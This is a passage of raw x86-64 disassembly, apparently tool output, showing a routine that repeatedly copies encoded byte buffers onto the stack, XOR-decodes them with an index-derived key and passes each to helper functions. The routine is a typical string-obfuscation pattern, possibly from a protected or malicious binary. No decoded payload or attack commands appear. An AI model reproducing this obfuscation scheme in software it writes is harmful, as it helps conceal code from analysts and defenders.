movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x4d
xor byte [rsp + r10 + 0x25de], al
lea ecx, [r8 + 0x16]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x4e
xor byte [rsp + r10 + 0x25df], al
lea ecx, [r8 + 0x17]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x4f
xor byte [rsp + r10 + 0x25e0], al
lea ecx, [r8 + 0x18]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x50
xor byte [rsp + r10 + 0x25e1], al
lea ecx, [r8 + 0x19]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x51
xor byte [rsp + r10 + 0x25e2], al
lea ecx, [r8 + 0x1a]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x52
xor byte [rsp + r10 + 0x25e3], al
add r10d, 0x1d
cmp r10d, 0x74
jl 0x1400f4570
lea rdx, [rsp + 0x25c7]
lea rcx, [rsp + 0xd28]
vzeroupper
call fcn.14009b6b0
mov rcx, rax
call fcn.14010fbb0
vmovups ymm0, ymmword [0x1401e90f0]
vmovups ymmword [rsp + 0x2919], ymm0
vmovups ymm1, ymmword [0x1401e9110]
vmovups ymmword [rsp + 0x2939], ymm1
vmovups ymm0, ymmword [0x1401e9130]
vmovups ymmword [rsp + 0x2959], ymm0
vmovups ymm1, ymmword [0x1401e9150]
vmovups ymmword [rsp + 0x2979], ymm1
movzx eax, word [0x1401e9170]
mov word [rsp + 0x2999], ax
movzx eax, byte [0x1401e9172]
mov byte [rsp + 0x299b], al
xor r8d, r8d
lea r9, [rsp + 0x2919]
mov eax, 0x51eb851f
mul r8d
shr edx, 4
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x83
jl 0x1400f4ae0
lea rdx, [rsp + 0x2919]
lea rcx, [rsp + 0xd48]
vzeroupper
call fcn.14009b6b0
mov rcx, rax
call fcn.14010fbb0
vmovups ymm0, ymmword [0x1401e9180]
vmovups ymmword [rsp + 0x2aa8], ymm0
vmovups ymm1, ymmword [0x1401e91a0]
vmovups ymmword [rsp + 0x2ac8], ymm1
vmovups ymm0, ymmword [0x1401e91c0]
vmovups ymmword [rsp + 0x2ae8], ymm0
vmovups ymm1, ymmword [0x1401e91e0]
vmovups ymmword [rsp + 0x2b08], ymm1
vmovsd xmm0, qword [0x1401e9200]
vmovsd qword [rsp + 0x2b28], xmm0
mov eax, dword [0x1401e9208]
mov dword [rsp + 0x2b30], eax
movzx eax, word [0x1401e920c]
mov word [rsp + 0x2b34], ax
xor r8d, r8d
lea r9, [rsp + 0x2aa8]
nop dword [rax + rax]
mov eax, 0x51eb851f
mul r8d
shr edx, 4
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x8e
jl 0x1400f4bb0
lea rdx, [rsp + 0x2aa8]
lea rcx, [rsp + 0xd68]
vzeroupper
call fcn.14009b6b0
mov rcx, rax
call fcn.14010fbb0
vmovups ymm0, ymmword [0x1401e9210]
vmovups ymmword [rsp + 0x3208], ymm0
vmovups ymm1, ymmword [str.9__6_:_411_]
vmovups ymmword [rsp + 0x3228], ymm1
vmovups ymm0, ymmword [0x1401e9250]
vmovups ymmword [rsp + 0x3248], ymm0
vmovups ymm1, ymmword [0x1401e9270]
vmovups ymmword [rsp + 0x3268], ymm1
vmovups xmm0, xmmword [0x1401e9290]
vmovups xmmword [rsp + 0x3288], xmm0
mov eax, dword [0x1401e92a0]
mov dword [rsp + 0x3298], eax
movzx eax, byte [0x1401e92a4]
mov byte [rsp + 0x329c], al
xor r8d, r8d
lea r9, [rsp + 0x3208]
nop word [rax + rax]
mov eax, 0x51eb851f
mul r8d
shr edx, 4
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x95
jl 0x1400f4c80
lea rdx, [rsp + 0x3208]
lea rcx, [rsp + 0xd88]
vzeroupper
call fcn.14009b6b0
mov rcx, rax
call fcn.14010fbb0
lea rdx, [rsp + 0x3ac6]
lea rcx, [r14 + 0x1e92b0]
vmovups ymm0, ymmword [rcx]
vmovups ymmword [rdx], ymm0
vmovups ymm0, ymmword [rcx + 0x20]
vmovups ymmword [rdx + 0x20], ymm0
vmovups ymm0, ymmword [rcx + 0x40]
vmovups ymmword [rdx + 0x40], ymm0
vmovups xmm0, xmmword [rcx + 0x60]
vmovups xmmword [rdx + 0x60], xmm0
lea rdx, [rdx + 0x80]
vmovups xmm1, xmmword [rcx + 0x70]
vmovups xmmword [rdx - 0x10], xmm1
lea rcx, [rcx + 0x80]
vmovups ymm0, ymmword [rcx]
vmovups ymmword [rdx], ymm0
vmovups xmm0, xmmword [rcx + 0x20]
vmovups xmmword [rdx + 0x20], xmm0
mov rax, qword [rcx + 0x30]
mov qword [rdx + 0x30], rax
mov eax, dword [rcx + 0x38]
mov dword [rdx + 0x38], eax
movzx eax, byte [rcx + 0x3c]
mov byte [rdx + 0x3c], al
xor r8d, r8d
lea r9, [rsp + 0x3ac6]
nop dword [rax + rax]
mov eax, 0x51eb851f
mul r8d
shr edx, 4
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xbd
jl 0x1400f4d50
lea rdx, [rsp + 0x3ac6]
lea rcx, [rsp + 0xda8]
vzeroupper
call fcn.14009b6b0
mov rcx, rax
call fcn.14010fbb0
lea rdx, [rsp + 0x3b83]
lea rcx, [r14 + 0x1e9370]
vmovups ymm0, ymmword [rcx]
vmovups ymmword [rdx], ymm0
vmovups ymm0, ymmword [rcx + 0x20]
vmovups ymmword [rdx + 0x20], ymm0
vmovups ymm0, ymmword [rcx + 0x40]
vmovups ymmword [rdx + 0x40], ymm0
vmovups xmm0, xmmword [rcx + 0x60]
vmovups xmmword [rdx + 0x60], xmm0
lea rdx, [rdx + 0x80]
vmovups xmm1, xmmword [rcx + 0x70]
vmovups xmmword [rdx - 0x10], xmm1
lea rcx, [rcx + 0x80]
vmovups ymm0, ymmword [rcx]
vmovups ymmword [rdx], ymm0
vmovups xmm0, xmmword [rcx + 0x20]
vmovups xmmword [rdx + 0x20], xmm0
mov rax, qword [rcx + 0x30]
mov qword [rdx + 0x30], rax
mov eax, dword [rcx + 0x38]
mov dword [rdx + 0x38], eax
movzx eax, byte [rcx + 0x3c]
mov byte [rdx + 0x3c], al
xor r8d, r8d
lea r9, [rsp + 0x3b83]
nop dword [rax + rax]
mov eax, 0x51eb851f
mul r8d
shr edx, 4
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xbd
jl 0x1400f4e20
lea rdx, [rsp + 0x3b83]
lea rcx, [rsp + 0xdc8]
vzeroupper
call fcn.14009b6b0
mov rcx, rax
call fcn.14010fbb0
lea rdx, [rsp + 0x3960]
lea rcx, [r14 + 0x1e9430]
vmovups ymm0, ymmword [rcx]
vmovups ymmword [rdx], ymm0
vmovups ymm0, ymmword [rcx + 0x20]
vmovups ymmword [rdx + 0x20], ymm0
vmovups ymm0, ymmword [rcx + 0x40]
vmovups ymmword [rdx + 0x40], ymm0
vmovups xmm0, xmmword [rcx + 0x60]
vmovups xmmword [rdx + 0x60], xmm0
lea rdx, [rdx + 0x80]
vmovups ymm1, ymmword [rcx + 0x70]
vmovups ymmword [rdx - 0x10], ymm1
vmovups ymm1, ymmword [rcx + 0x90]
vmovups ymmword [rdx + 0x10], ymm1
movzx eax, word [rcx + 0xb0]
mov word [rdx + 0x30], ax
movzx eax, byte [rcx + 0xb2]
mov byte [rdx + 0x32], al
xor r8d, r8d
lea r9, [rsp + 0x3960]
nop
mov eax, 0x51eb851f
mul r8d
shr edx, 4
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xb3
jl 0x1400f4ee0
lea rdx, [rsp + 0x3960]
lea rcx, [rsp + 0xde8]
vzeroupper
call fcn.14009b6b0
mov rcx, rax
call fcn.14010fbb0
lea rdx, [rsp + 0x3a13]
lea rcx, [r14 + 0x1e94f0]
vmovups ymm0, ymmword [rcx]
vmovups ymmword [rdx], ymm0
vmovups ymm0, ymmword [rcx + 0x20]
vmovups ymmword [rdx + 0x20], ymm0
vmovups ymm0, ymmword [rcx + 0x40]
vmovups ymmword [rdx + 0x40], ymm0
vmovups xmm0, xmmword [rcx + 0x60]
vmovups xmmword [rdx + 0x60], xmm0
lea rdx, [rdx + 0x80]
vmovups ymm1, ymmword [rcx + 0x70]
vmovups ymmword [rdx - 0x10], ymm1
vmovups ymm1, ymmword [rcx + 0x90]
vmovups ymmword [rdx + 0x10], ymm1
movzx eax, word [rcx + 0xb0]
mov word [rdx + 0x30], ax
movzx eax, byte [rcx + 0xb2]
mov byte [rdx + 0x32], al
xor r8d, r8d
lea r9, [rsp + 0x3a13]
nop
mov eax, 0x51eb851f
mul r8d
shr edx, 4
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xb3
jl 0x1400f4fa0
lea rdx, [rsp + 0x3a13]
lea rcx, [rsp + 0xe08]
vzeroupper
call fcn.14009b6b0
mov rcx, rax
call fcn.14010fbb0
vmovups ymm0, ymmword [0x1401e95b0]
vmovups ymmword [rsp + 0x304d], ymm0
vmovups ymm1, ymmword [0x1401e95d0]
vmovups ymmword [rsp + 0x306d], ymm1
vmovups ymm0, ymmword [0x1401e95f0]
vmovups ymmword [rsp + 0x308d], ymm0
vmovups ymm1, ymmword [0x1401e9610]
vmovups ymmword [rsp + 0x30ad], ymm1
vmovups xmm0, xmmword [0x1401e9630]
vmovups xmmword [rsp + 0x30cd], xmm0
movzx eax, word [0x1401e9640]
mov word [rsp + 0x30dd], ax
movzx eax, byte [0x1401e9642]
mov byte [rsp + 0x30df], al
xor r8d, r8d
lea r9, [rsp + 0x304d]
nop dword [rax]
mov eax, 0x51eb851f
mul r8d
shr edx, 4
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x93
jl 0x1400f5070
lea rdx, [rsp + 0x304d]
lea rcx, [rsp + 0xe28]
vzeroupper
call fcn.14009b6b0
mov rcx, rax
call fcn.14010fbb0
vmovups ymm0, ymmword [0x1401e9650]
vmovups ymmword [rsp + 0x30e0], ymm0
vmovups ymm1, ymmword [0x1401e9670]
vmovups ymmword [rsp + 0x3100], ymm1
vmovups ymm0, ymmword [0x1401e9690]
vmovups ymmword [rsp + 0x3120], ymm0
vmovups ymm1, ymmword [0x1401e96b0]
vmovups ymmword [rsp + 0x3140], ymm1
vmovups xmm0, xmmword [0x1401e96d0]
vmovups xmmword [rsp + 0x3160], xmm0
mov eax, dword [0x1401e96e0]
mov dword [rsp + 0x3170], eax
xor r8d, r8d
lea r9, [rsp + 0x30e0]
nop dword [rax]
mov eax, 0x51eb851f
mul r8d
shr edx, 4
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x94
jl 0x1400f5130
lea rdx, [rsp + 0x30e0]
lea rcx, [rsp + 0xe48]
vzeroupper
call fcn.14009b6b0
mov rcx, rax
call fcn.14010fbb0
vmovups ymm0, ymmword [0x1401e96f0]
vmovups ymmword [rsp + 0x2e97], ymm0
vmovups ymm1, ymmword [0x1401e9710]
vmovups ymmword [rsp + 0x2eb7], ymm1
vmovups ymm0, ymmword [0x1401e9730]
vmovups ymmword [rsp + 0x2ed7], ymm0
vmovups ymm1, ymmword [0x1401e9750]
vmovups ymmword [rsp + 0x2ef7], ymm1
vmovups xmm0, xmmword [0x1401e9770]
vmovups xmmword [rsp + 0x2f17], xmm0
movzx eax, word [0x1401e9780]
mov word [rsp + 0x2f27], ax
xor r8d, r8d
lea r9, [rsp + 0x2e97]
nop dword [rax + rax]
mov eax, 0x51eb851f
mul r8d
shr edx, 4
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x92
jl 0x1400f51f0
lea rdx, [rsp + 0x2e97]
lea rcx, [rsp + 0xe68]
vzeroupper
call fcn.14009b6b0
mov rcx, rax
call fcn.14010fbb0
vmovups ymm0, ymmword [0x1401e9790]
vmovups ymmword [rsp + 0x2a20], ymm0
vmovups ymm1, ymmword [0x1401e97b0]
vmovups ymmword [rsp + 0x2a40], ymm1
vmovups ymm0, ymmword [0x1401e97d0]
vmovups ymmword [rsp + 0x2a60], ymm0
vmovups ymm1, ymmword [0x1401e97f0]
vmovups ymmword [rsp + 0x2a80], ymm1
vmovsd xmm0, qword [0x1401e9810]
vmovsd qword [rsp + 0x2aa0], xmm0
xor r8d, r8d
lea r9, [rsp + 0x2a20]
nop dword [rax]
mov eax, 0x51eb851f
mul r8d
shr edx, 4
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x88
jl 0x1400f52a0
lea rdx, [rsp + 0x2a20]
lea rcx, [rsp + 0xe88]
vzeroupper
call fcn.14009b6b0
mov rcx, rax
call fcn.14010fbb0
vmovups ymm0, ymmword [0x1401e9820]
vmovups ymmword [rsp + 0x3174], ymm0
vmovups ymm1, ymmword [0x1401e9840]
vmovups ymmword [rsp + 0x3194], ymm1
vmovups ymm0, ymmword [0x1401e9860]
vmovups ymmword [rsp + 0x31b4], ymm0
vmovups ymm1, ymmword [0x1401e9880]
vmovups ymmword [rsp + 0x31d4], ymm1
vmovups xmm0, xmmword [0x1401e98a0]
vmovups xmmword [rsp + 0x31f4], xmm0
mov eax, dword [0x1401e98b0]
mov dword [rsp + 0x3204], eax
xor r8d, r8d
lea r9, [rsp + 0x3174]
nop dword [rax]
mov eax, 0x51eb851f
mul r8d
shr edx, 4
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x94
jl 0x1400f5360
lea rdx, [rsp + 0x3174]
lea rcx, [rsp + 0xea8]
vzeroupper
call fcn.14009b6b0
mov rcx, rax
call fcn.14010fbb0
vmovups ymm0, ymmword [0x1401e98c0]
vmovups ymmword [rsp + 0x2d75], ymm0
vmovups ymm1, ymmword [0x1401e98e0]
vmovups ymmword [rsp + 0x2d95], ymm1
vmovups ymm0, ymmword [str.6_2]
vmovups ymmword [rsp + 0x2db5], ymm0
vmovups ymm1, ymmword [0x1401e9920]
vmovups ymmword [rsp + 0x2dd5], ymm1
vmovups xmm0, xmmword [0x1401e9940]
vmovups xmmword [rsp + 0x2df5], xmm0
movzx eax, byte [0x1401e9950]
mov byte [rsp + 0x2e05], al
xor r8d, r8d
lea r9, [rsp + 0x2d75]
nop word [rax + rax]
mov eax, 0x51eb851f
mul r8d
shr edx, 4
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x91
jl 0x1400f5420
lea rdx, [rsp + 0x2d75]
lea rcx, [rsp + 0xec8]
vzeroupper
call fcn.14009b6b0
mov rcx, rax
call fcn.14010fbb0
vmovups ymm0, ymmword [0x1401e9960]
vmovups ymmword [rsp + 0x2e06], ymm0
vmovups ymm1, ymmword [0x1401e9980]
vmovups ymmword [rsp + 0x2e26], ymm1
vmovups ymm0, ymmword [str.1_]
vmovups ymmword [rsp + 0x2e46], ymm0
vmovups ymm1, ymmword [0x1401e99c0]
vmovups ymmword [rsp + 0x2e66], ymm1
vmovups xmm0, xmmword [0x1401e99e0]
vmovups xmmword [rsp + 0x2e86], xmm0
movzx eax, byte [0x1401e99f0]
mov byte [rsp + 0x2e96], al
xor r8d, r8d
lea r9, [rsp + 0x2e06]
nop word [rax + rax]
mov eax, 0x51eb851f
mul r8d
shr edx, 4
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x91
jl 0x1400f54e0
lea rdx, [rsp + 0x2e06]
lea rcx, [rsp + 0xee8]
vzeroupper
call fcn.14009b6b0
mov rcx, rax
call fcn.14010fbb0
vmovups ymm0, ymmword [0x1401e9a00]
vmovups ymmword [rsp + 0x26b1], ymm0
vmovups ymm1, ymmword [0x1401e9a20]
vmovups ymmword [rsp + 0x26d1], ymm1
vmovups ymm0, ymmword [0x1401e9a40]
vmovups ymmword [rsp + 0x26f1], ymm0
vmovups xmm1, xmmword [str.AHC5WYVW]
vmovups xmmword [rsp + 0x2711], xmm1
mov eax, dword [0x1401e9a70]
mov dword [rsp + 0x2721], eax
movzx eax, word [0x1401e9a74]
mov word [rsp + 0x2725], ax
xor r8d, r8d
lea r9, [rsp + 0x26b2]
nop word [rax + rax]
mov eax, 0x51eb851f
mul r8d
shr edx, 4
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9 - 1], al
lea ecx, [r8 + 1]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
sub al, cl
add al, 0x37
xor byte [r9], al
add r8d, ebx
lea r9, [r9 + 2]
cmp r8d, 0x76
jl 0x1400f55a0
lea rdx, [rsp + 0x26b1]
lea rcx, [rsp + 0xf08]
vzeroupper
call fcn.14009b6b0
mov rcx, rax
call fcn.14010fbb0
vmovups ymm0, ymmword [0x1401e9a80]
vmovups ymmword [rsp + 0x2727], ymm0
vmovups ymm1, ymmword [0x1401e9aa0]
vmovups ymmword [rsp + 0x2747], ymm1
vmovups ymm0, ymmword [0x1401e9ac0]
vmovups ymmword [rsp + 0x2767], ymm0
vmovups xmm1, xmmword [0x1401e9ae0]
vmovups xmmword [rsp + 0x2787], xmm1
vmovsd xmm0, qword [0x1401e9af0]
vmovsd qword [rsp + 0x2797], xmm0
xor r10d, r10d
nop dword [rax + rax]
movsxd r9, r10d
mov eax, 0x51eb851f
imul r10d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x36
xor byte [rsp + r9 + 0x2727], al
lea r8d, [r10 + 2]
lea ecx, [r8 - 1]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x37
xor byte [rsp + r9 + 0x2728], al
mov eax, 0x51eb851f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x38
xor byte [rsp + r9 + 0x2729], al
lea ecx, [r8 + 1]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x39
xor byte [rsp + r9 + 0x272a], al
lea ecx, [r8 + 2]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x3a
xor byte [rsp + r9 + 0x272b], al
lea ecx, [r8 + 3]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x3b
xor byte [rsp + r9 + 0x272c], al
lea ecx, [r8 + 4]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x3c
xor byte [rsp + r9 + 0x272d], al
lea ecx, [r8 + 5]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x3d
xor byte [rsp + r9 + 0x272e], al
lea ecx, [r8 + 6]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x3e
xor byte [rsp + r9 + 0x272f], al
lea ecx, [r8 + 7]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x3f
xor byte [rsp + r9 + 0x2730], al
lea ecx, [r8 + 8]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x40
xor byte [rsp + r9 + 0x2731], al
lea ecx, [r8 + 9]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x41
xor byte [rsp + r9 + 0x2732], al
lea ecx, [r8 + 0xa]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x42
xor byte [rsp + r9 + 0x2733], al
lea ecx, [r8 + 0xb]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x43
xor byte [rsp + r9 + 0x2734], al
lea ecx, [r8 + 0xc]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x44
xor byte [rsp + r9 + 0x2735], al
lea ecx, [r8 + 0xd]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x45
xor byte [rsp + r9 + 0x2736], al
lea ecx, [r8 + 0xe]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x46
xor byte [rsp + r9 + 0x2737], al
lea ecx, [r8 + 0xf]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x47
xor byte [rsp + r9 + 0x2738], al
lea ecx, [r8 + 0x10]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x48
xor byte [rsp + r9 + 0x2739], al
lea ecx, [r8 + 0x11]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x49
xor byte [rsp + r9 + 0x273a], al
lea ecx, [r8 + 0x12]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x4a
xor byte [rsp + r9 + 0x273b], al
lea ecx, [r8 + 0x13]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x4b
xor byte [rsp + r9 + 0x273c], al
lea ecx, [r8 + 0x14]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x4c
xor byte [rsp + r9 + 0x273d], al
lea ecx, [r8 + 0x15]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x4d
xor byte [rsp + r9 + 0x273e], al
lea ecx, [r8 + 0x16]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x4e
xor byte [rsp + r9 + 0x273f], al
lea ecx, [r8 + 0x17]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x4f
xor byte [rsp + r9 + 0x2740], al
lea ecx, [r8 + 0x18]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x50
xor byte [rsp + r9 + 0x2741], al
lea ecx, [r8 + 0x19]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x51
xor byte [rsp + r9 + 0x2742], al
lea ecx, [r8 + 0x1a]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x52
xor byte [rsp + r9 + 0x2743], al
lea ecx, [r8 + 0x1b]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x53
xor byte [rsp + r9 + 0x2744], al
lea ecx, [r8 + 0x1c]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x54
xor byte [rsp + r9 + 0x2745], al
lea ecx, [r8 + 0x1d]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x55
xor byte [rsp + r9 + 0x2746], al
lea ecx, [r8 + 0x1e]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x56
xor byte [rsp + r9 + 0x2747], al
lea ecx, [r8 + 0x1f]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x57
xor byte [rsp + r9 + 0x2748], al
lea ecx, [r8 + 0x20]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x58
xor byte [rsp + r9 + 0x2749], al
lea ecx, [r8 + 0x21]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x59
xor byte [rsp + r9 + 0x274a], al
lea ecx, [r8 + 0x22]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x5a
xor byte [rsp + r9 + 0x274b], al
lea ecx, [r8 + 0x23]
